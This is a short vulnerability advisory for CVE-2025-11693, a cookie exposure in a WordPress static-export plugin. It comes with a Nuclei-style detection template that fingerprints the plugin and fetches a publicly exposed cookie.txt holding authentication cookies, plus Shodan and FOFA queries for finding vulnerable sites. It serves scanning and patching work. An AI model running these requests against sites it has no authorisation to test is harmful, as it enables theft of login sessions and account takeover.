Export WP Page to Static HTML & PDF WordPress plugin <= 4.3.4 contains a sensitive information exposure caused by publicly exposed cookies.txt files with authentication cookies, letting unauthenticated attackers access sensitive authentication data, exploit requires site administrator to trigger backup with specific user role.
PoC
id: CVE-2025-11693
info:
name: Export WP Page to Static HTML <= 4.3.4 - Cookie Exposure
author: 0x_Akoko
severity: critical
description: |
Export WP Page to Static HTML & PDF WordPress plugin <= 4.3.4 contains a sensitive information exposure caused by publicly exposed cookies.txt files with authentication cookies, letting unauthenticated attackers access sensitive authentication data, exploit requires site administrator to trigger backup with specific user role.
impact: |
Unauthenticated attackers can access authentication cookies, potentially leading to account compromise or unauthorized access.
remediation: |
Update to the latest version beyond 4.3.4.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/export-wp-page-to-static-html/export-wp-page-to-static-html-pdf-434-unauthenticated-cookie-exposure-via-log-file
- https://nvd.nist.gov/vuln/detail/CVE-2025-11693
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-11693
epss-score: 0.02104
epss-percentile: 0.80802
cwe-id: CWE-200
metadata:
verified: true
max-request: 2
fofa-query: body="/wp-content/plugins/export-wp-page-to-static-html/"
shodan-query: http.html:"/wp-content/plugins/export-wp-page-to-static-html/"
tags: cve,cve2025,wordpress,wp,wp-plugin,export-wp-page-to-static-html,exposure
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/export-wp-page-to-static-html/README.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'Export WP Page')"
condition: and
internal: true
- raw:
- |
GET /wp-content/uploads/exported_html_files/cookie.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'wordpress')"
- "contains_all(body, 'TRUE', 'FALSE', 'HttpOnly')"
condition: and
# digest: 4a0a00473045022100c6c0a100c3ff20b18787001415b7a2107a1fc11996743ca1a7c2b6c4064b7dcc0220740290be9d2f4020356b1823329204c46cf1357296e3e8e882f52515d92e1c21:922c64590222798bb761d5b6d8e72950
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